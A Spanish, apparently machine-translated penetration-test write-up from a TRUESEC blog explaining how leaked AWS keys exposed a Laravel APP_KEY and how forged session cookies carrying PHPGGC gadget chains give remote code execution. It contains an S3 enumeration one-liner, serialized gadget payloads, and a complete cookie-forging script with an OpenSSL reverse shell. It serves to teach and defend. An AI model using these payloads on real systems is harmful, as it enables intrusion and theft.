Saltar al contenido

Del cubo S3 a Laravel unserialize RCE – Blog de TRUESEC

Alexander Andersson

La deserialización insegura es una vulnerabilidad común (OWASP TOP10) que muy a menudo conduce a la ejecución de código arbitrario. Hoy, voy a explicar cómo convertir una deserialización aparentemente inofensiva en ejecución de código. Recientemente, esto me resultó útil en una prueba de penetración de una aplicación basada en PHP / Laravel. Antes de saltar por la madriguera del conejo, explicaré brevemente los errores de configuración que me permitieron explotar la vulnerabilidad en primer lugar.

Laravel es extrañamente útil cuando APP_DEBUG está habilitado. Nunca debe usarse fuera de un entorno de desarrollo local. Los errores no solo imprimirán un mensaje de error realmente elegante con todo el seguimiento de la pila, sino que también incluirán todas las variables de entorno de la cuenta de la aplicación. Eso no es algo que desee, ya que las variables de entorno a menudo contienen secretos.

En una aplicación de Laravel, una variable llamada APP_KEY se utiliza como secreto de cifrado para todo el cifrado simétrico dentro de la aplicación. Sin embargo, la clave de la aplicación no se incluyó en el mensaje de error. Una explicación razonable sería que simplemente no se define como una variable de entorno, sino que está codificada o insertada en el código fuente en algún punto del proceso.

Sin embargo, había algunos secretos interesantes en las variables de entorno. Entre ellos, un ID de clave de AWS y el secreto correspondiente. Sabía que el objetivo hacía uso de S3, así que armé un script que recupera la lista de directorios de los archivos a los que puedo acceder.

for bucket in $(aws s3 ls | cut -d " " -f 3); do aws s3 ls s3://$bucket --recursive > ./$bucket.txt; done; 

Uno de los depósitos fue particularmente interesante, sirvió como un repositorio de artefactos y contenía varias versiones del código fuente de la aplicación. Así que descargué el último archivo:

aws cp s3://bucketname/filepath/filename.zip . && unzip ./filename.zip 

Luego encontró el secreto dentro ./config/app.php, usando un grep recursivo para APP_KEY.

¿Qué puedes hacer con una APP_KEY robada?

Para comprender el impacto de una clave de aplicación comprometida, primero debemos comprender cómo funcionan las sesiones de Laravel. Cuando visita un sitio web de Laravel, le proporciona una cookie que se ve así:

'laravel_session=eyJpdiI6IldGaENjREI1eFVvQmdNR3VFRHU1Umc9PSIsInZhbHVlIjoiTzdZdTgxaURLMTIxblgzTDNPMm5EQT09IiwibWFjIjoiZmM1NTY5N2UyZjAzN2M4ODZkMDU1ZWRjMTNjOWY3ZTU4YTdlZjFmNWY0ZTk3Y2ZkYWE3ODkzZTM0MWM4ODZmNSJ9Cg%3D%3D'

// Base64 decoded: 
laravel_session = {
	"iv":"WFhCcDB5xUoBgMGuEDu5Rg==",
	"value":"O7Yu81iDK121nX3L3O2nDA==",
	"mac":"fc55697e2f037c886d055edc13c9f7e58a7ef1f5f4e97cfdaa7893e341c886f5"
}

El objeto json consta de un vector de inicialización (IV), un valor cifrado (valor) y un código de autenticación de mensaje (MAC). Laravel calcula estos atributos utilizando la extensión PHP OpenSSL. El cifrado simétrico se realiza mediante AES-128-CBC o AES-256-CBC y el MAC es un hash SHA-256. El IV es un valor generado aleatoriamente. A continuación, verá un cifrado, descifrado y funciones mac simplificadas de Laravel. Las versiones completas se pueden encontrar aquí.

function encrypt($cipher, $app_key, $value, $serialize = true)
{
	// Generate a random string of appropirate length 
	$iv = random_bytes(openssl_cipher_iv_length($cipher));
	// Serialize the value 
	// Then encrypt the value using the app key and iv 
	$value = openssl_encrypt(
		$serialize ? serialize($value) : $value,
		$cipher, $app_key, 0, $iv
	);
	// Calculate a hash (see below) 
	$mac = calc_hash($iv = base64_encode($iv), $app_key, $value);
  	// Format it as json 
	$json = json_encode(compact('iv', 'value', 'mac'));
	return $json;
 }

El MAC se basa en el valor cifrado, iv y clave:

function calc_hash($iv, $app_key, $value)
{
    return hash_hmac('sha256', $iv.$value, $app_key);
}

El descifrado es, naturalmente, el reverso del cifrado. La conclusión importante de la función de descifrado es que cualquier carga útil correctamente descifrada se deserializará, a menos que el parámetro unserialize se establezca explícitamente en falso (el mac también debe ser válido, por supuesto). La deserialización está habilitada de forma predeterminada en las versiones de Laravel hasta 5.5.40, y todas las versiones de 5.6.0 a 5.6.29.

function decrypt($cipher, $app_key, $payload, $unserialize = true)
{
	$iv = base64_decode($payload['iv']);
	// Decrypt the value using the public iv and secret app key 
	$decrypted = openssl_decrypt(
		$payload['value'], $cipher, $app_key, 0, $iv
	);
	if ($decrypted === false) {
		return NULL;
	}
  	// We will only get here if the decryption did not fail
  	// Unserialize the decrypted value 
	return $unserialize ? unserialize($decrypted) : $decrypted;
}

TLDR: Cualquiera que tenga acceso a la clave de la aplicación puede hacerse pasar por otros usuarios y, si está habilitado, hacer que la aplicación deserialice datos arbitrarios.

Deserialización insegura en PHP

La mayoría de los lenguajes de programación proporcionan un mecanismo para transformar objetos en una representación almacenable y viceversa. Si bien el concepto es similar, las implementaciones varían mucho entre idiomas. Por lo tanto, los ataques de deserialización son naturalmente muy diferentes según la implementación de deserialización específica a la que se enfrente.

Laravel usa las funciones integradas llamadas publicar por fascículos y unserializar. Veamos un ejemplo para familiarizarnos con la serialización en PHP. El siguiente script define una clase de usuario simple y puede serializar y deserializar objetos.

<?php 
class User {
	public $name;
	private $admin;

  	public function __construct($name) {
		$this->name = $name;
		$this->admin = False; // users are not admin by default
	}
	public function is_admin() {
		return $this->admin; 
	}
};

if( isset($_GET['user']) ) 
{
	// Deserialize the user input 
    $user = unserialize(base64_decode($_GET['user']));
	echo 'Welcome back, ' ,  $user->name , '!<br />';
	// Check if the user is admin
	if ( $user->is_admin() ) {
		echo 'You are admin!';
	}
	die;
}

// Create a user that is not admin. 
$user = new User("Bob");
echo 'Welcome! <a href="https://vinova.sg/?user=",base64_encode(serialize($user)),"">This is your user link</a>.';
echo 'Your serialized user looks like this:<br />';
echo serialize($user) , '<br />';

Sin ningún parámetro, da la siguiente salida:

Welcome! This is your user link.
Your serialized user looks like this:
O:4:"User":2:{s:4:"name";s:3:"Bob";s:11:"Useradmin";b:0;}

Compare el usuario serializado con las representaciones de tipos que se muestran a continuación para tener una mejor idea. El formato depende del tipo, pero son más o menos especificador, longitud del valor y valor, separados por dos puntos. Los pares clave-valor se encuentran dentro de llaves.

serialize(1337)						i:1337;
serialize("This is a string")		s:16:"This is a string";
serialize(NULL)						N;
serialize(True)						b:1;
serialize(False)					b:0;
serialize(array(1,2))				a:2:{i:0;i:1;i:1;i:2;}
serialize(new stdClass())			O:8:"stdClass":0:{}

Tenga en cuenta que las funciones no están serializadas. La deserialización no es como eval que interpreta el código de forma dinámica. La deserialización considerará una clase conocida y restaurará un objeto de esa clase, según el estado que proporciones. Por tanto, la clase debe definirse antes de la deserialización.

También podemos usar el script para jugar con la deserialización. Al hacer clic en el enlace, enviamos el objeto serializado como un parámetro GET. Naturalmente, recibimos una respuesta que dice “Bienvenido de nuevo, Bob”.

Lo que acabamos de presenciar es un ejemplo de deserialización insegura. El atacante obviamente puede controlar los datos que se van a serializar. Por ejemplo, podemos convertirnos en administradores editando el objeto serializado y configurando el miembro privado administrador en cierto.

O:4:"User":2:{s:4:"name";s:3:"Bob";s:11:"Useradmin";b:1;}

Ejecución de código durante la deserialización

Hemos visto un ejemplo de por qué no debería confiar en los usuarios con un objeto serializado. Pero, ¿cómo podría esto conducir a la ejecución del código? Como atacantes, no podemos agregar / modificar funciones, llamar explícitamente a funciones o declarar nuevas clases. Sin embargo, lo que podemos hacer es cambiar el objeto por completo y proporcionar un objeto serializado de otra clase (ya existente). Si elegimos la clase sabiamente, podría hacer exactamente lo que necesitamos durante el proceso de deserialización.

PHP tiene funciones mágicas que se ejecutarán automáticamente durante la deserialización. Por ejemplo, la función __despierta() se ejecutará implícitamente para restaurar el estado después de la deserialización. Otra función que se ejecutará es la __destruct () función. Las clases heredan estas funciones y pueden implementar sus propias versiones de ellas para satisfacer sus necesidades específicas.

Sabiendo esto, queremos encontrar clases en el objetivo que implemente algo “útil” en una de sus funciones mágicas. Una clase que hace algo útil se llama artilugio. En raras ocasiones, la aplicación tiene una clase que hace casi todo lo que queremos. Suponga que la siguiente clase se agrega al script que usamos anteriormente.

class FileDirectory 
{
	public $path;
	private $fs_check = 'test -d / && echo 1';

	public function __construct($path) {
 		$this->path = $path;
	}
	public function __wakeup() {
		if( !$this->check_fs() ) {
        	throw new Exception('Cannot access file system.');
 		}
 	}
	public function check_fs() {
		return "1n" === shell_exec($this->fs_check);
	}
};

El parámetro GET “usuario” en nuestro ejemplo espera un objeto Usuario serializado. ¿Qué pasaría si en su lugar proporcionamos un objeto FileDirectory serializado?

O:13:"FileDirectory":2:{s:4:"path";s:5:"/tmp/";s:21:"FileDirectoryfs_check";s:19:"test -d / && echo 1";}

Recibimos un error que dice
Error no detectado: llamada al método no definido FileDirectory :: is_admin ()

Eso es bastante bueno, deserializó el objeto FileDirectory y no arrojó un error hasta unas líneas más abajo, cuando intentó acceder al método llamado is_admin.

La clase FileDirectory realiza alguna forma de verificación en el __despierta función y si miramos de cerca vemos que, cualquiera que sea el miembro fs_check está configurado para que se ejecute en un shell. Como tenemos control total sobre el objeto, podemos cambiar el valor y ejecutar lo que queramos. Intentemos ejecutar toque que, si se ejecuta, creará un archivo llamado victorioso en / tmp /.

O:13:"FileDirectory":2:{s:4:"path";s:2:"aa";s:27:"FileDirectoryfs_check";s:18:"touch /tmp/winning";}

Proporcionamos el nuevo objeto serializado y vemos que incluso si seguimos recibiendo errores, el comando se ejecuta durante la deserialización y se crea el archivo.

Introducción a las cadenas de gadgets

Encontrar un dispositivo como este en una aplicación real no es muy probable. Sin embargo, es casi seguro que habrá una serie de clases que puede combinar, de modo que sus funciones mágicas encadenadas darán como resultado la ejecución del código. Eso es lo que se llama un cadena de gadgets. Recuerde que no estamos limitados al código fuente de la aplicación, sino también al propio PHP y a todas las dependencias de la aplicación.

La creación manual de cadenas de dispositivos puede ser una tarea que requiere mucho tiempo. Por suerte, algunas personas realmente inteligentes ya han hecho el trabajo duro por nosotros. PHPGGC es un script que se puede utilizar para crear cargas útiles basadas en una lista seleccionada de cadenas de dispositivos PHP conocidas (muy similar a YSoSerial de Java). PHPGGC tiene cadenas para muchas dependencias ampliamente utilizadas, por lo que es probable que al menos una de las cadenas funcione en su objetivo. Veamos cómo funcionan las cadenas de dispositivos de la vida real con un ejemplo.

./phpggc Laravel/RCE6 "echo 'hello world';"

La carga útil de Laravel / RCE6 requiere Laravel y Mockery. La cadena se ve como sigue (espacios / nuevas líneas agregadas):

O:29:"IlluminateSupportMessageBag":2:{
	s:11:"*messages";
	a:0:{}
	s:9:"*format";
	O:40:"IlluminateBroadcastingPendingBroadcast":2:{
		s:9:"*events";
		O:25:"IlluminateBusDispatcher":1:{
			s:16:"*queueResolver";
			a:2:{
				i:0;
				O:25:"MockeryLoaderEvalLoader":0:{}
				i:1;
				s:4:"load";
			}
		}
		s:8:"*event";
		O:38:"IlluminateBroadcastingBroadcastEvent":1:{
			s:10:"connection";
			O:32:"MockeryGeneratorMockDefinition":2:{
				s:9:"*config";
				O:35:"MockeryGeneratorMockConfiguration":1:{
					s:7:"*name";
					s:7:"abcdefg";
				}
				s:7:"*code";
				s:35:"<?php echo 'hello world'; exit; ?>";
			}
		}
	}
}

Veamos qué sucede cuando se deserializa. El objeto exterior es Illuminate Support MessageBag que contiene Illuminate Broadcasting PendingBroadcast. La clase PendingBroadcast tiene un destructor que se llamará automáticamente durante la deserialización. Este es nuestro “punto de entrada” a la ejecución del código:

// class: Illuminate/Broadcasting/PendingBroadcast
public function __destruct()
{
   	$this->events->dispatch($this->event);
}

Vuelva a la carga útil serializada, verá que está configurado de modo que “eventos” es un objeto Illuminate Bus Dispatcher y “evento” es un objeto Illuminate Broadcasting BroadcastEvent.

En otras palabras, el envío función de la Despachador se llamará la clase. Esa función se ve así:

// class: Illuminate/Bus/Dispatcher
public function dispatch($command)
{
   if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
   }
   return $this->dispatchNow($command);
}

El argumento $ comando es nuestro BroadcastEvent objeto y $ this-> queueResolver está configurado para ser una matriz con un EvalLoader objeto y una cadena que hace referencia a su función “Cargar”.

La sentencia if que contiene el commandShouldBeQueued llamada, devolverá verdadero si $ command es un ShouldQueue objeto. Ya que BroadcastEvent es una subclase de ShouldQueue, por lo tanto, terminaremos con una llamada de función a dispatchToQueue.

// class: Illuminate/Bus/Dispatcher
public function dispatchToQueue($command)
{
  	$connection = $command->connection ?? null;
  	$queue = call_user_func($this->queueResolver, $connection);
  	if (! $queue instanceof Queue) {
   		 throw new RuntimeException('Queue resolver did not return a Queue implementation.');
  	}
  	if (method_exists($command, 'queue')) {
  	 	 return $command->queue($queue, $command);
  	}
 	return $this->pushCommandToQueue($queue, $command);
}

En la segunda línea hay una llamada a la función PHP llamada call_user_func que se utiliza para llamar a “funciones con nombre variable”. Se usa así:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $...]] )

El $ callback será el EvalLoader object y el parámetro $ será $ command-> connection. Vuelva a la carga útil serializada y verá que el objeto BroadcastEvent está configurado para que el conexión es un objeto MockDefinition.

El objeto MockDefinition contiene los miembros código y config. La configuración es solo una configuración de marcador de posición y el código es la carga útil que queremos ejecutar.

Ahora a la última pieza del rompecabezas. El queueResolver está configurado para que call_user_func llame a la función de carga de EvalLoader. En esa función vemos cómo se ejecuta nuestro código arbitrario que está almacenado dentro del objeto MockDefinition.

// class: Mockery/Loader/EvalLoader
public function load(MockDefinition $definition)
{
    if (class_exists($definition->getClassName(), false)) {
        return;
    }
    eval("?>" . $definition->getCode());
}

Vemos que getCode se usa para obtener el miembro llamado código. El argumento de eval está precedido por “?>”, Lo que explica por qué envolvemos nuestro código arbitrario en etiquetas php.

Resumen:
Laravel / RCE6 es un objeto serializado que está cuidadosamente diseñado para que una llamada implícita a destruir nos lleve por una cadena de llamadas a funciones:

--> Illuminate/Broadcasting/PendingBroadcast::__destruct()
--------> Illuminate/Bus/Dispatcher::dispatch()
--------------> Illuminate/Bus/Dispatcher::dispatchToQueue()
--------------------> call_user_func()
--------------------------> Mockery/Loader/EvalLoader::load()
--------------------------------> eval()

Termina en un eval desde la función EvalLoader :: load, con nuestro código arbitrario como argumento. ¡Increíble!

Entrega de la carga útil

El paso final antes de que podamos enviar la carga útil es formatearlo de la manera adecuada para que Laravel realmente lo descifre y deserialice. Primero generaremos la carga útil, luego usaremos la clave de la aplicación robada para cifrarla y codificarla. Luego, los valores deben ir a un objeto json codificado en base64. Escribamos un script simple que haga todo eso:

<?php
$cipher="AES-256-CBC";
$app_key = 'base64:*********F0=';
$chain_name="Laravel/RCE6";
$payload = 'system('mkfifo .s && /bin/sh -i < .s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:443 > .s && rm .s');';

// Use PHPGGC to generate the gadget chain
$chain = shell_exec('./phpggc/phpggc '.$chain_name.' "'.$payload.'"');
// Key can be stored as base64 or string.
if( explode(":", $app_key)[0] === 'base64' ) {
        $app_key = base64_decode(explode(':', $app_key)[1]);
}
// Create cookie
$iv = random_bytes(openssl_cipher_iv_length($cipher));
$value = openssl_encrypt($chain, $cipher, $app_key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv.$value, $app_key);
$json = json_encode(compact('iv', 'value', 'mac'));

// Print the results
die(urlencode(base64_encode($json)));

La carga útil (línea 5) es un shell inverso OpenSSL que describí en una publicación anterior. Para probarlo, iniciamos una aplicación local de Laravel y le enviamos la carga útil.

La solicitud en sí devolvió 200 OK como de costumbre, pero cuando miramos nuestro servidor de shell inverso, vemos que obtuvimos un shell durante la deserialización. ¡Guau!

Terminando

En resumen, el impacto fue la ejecución remota de código previo a la autenticación y las siguientes vulnerabilidades / mala configuración permitieron que sucediera:

La vulnerabilidad que permite la deserialización insegura fue descubierta originalmente por Ståle Pettersen y ha sido pública desde julio de 2018. Sin embargo, muchas organizaciones no la han parcheado ya que solo se puede explotar si el atacante conoce Laravel APP_KEY. Como se vio en este caso, los secretos pueden filtrarse de formas inesperadas y le recomiendo encarecidamente que deshabilite la deserailización a menos que realmente lo necesite.

Si Laravel aún tiene la clave de aplicación predeterminada preconfigurada que estaba presente en versiones anteriores, es posible que desee cambiarla lo antes posible.

¿Querer aprender más?

Alexander está hablando en el próximo evento de dos días Cyber ​​Security Summit 2020 de Truesecs. ¡Un buen momento para hacerle más preguntas sobre este u otros hallazgos!

Este contenido se publicó originalmente aquí.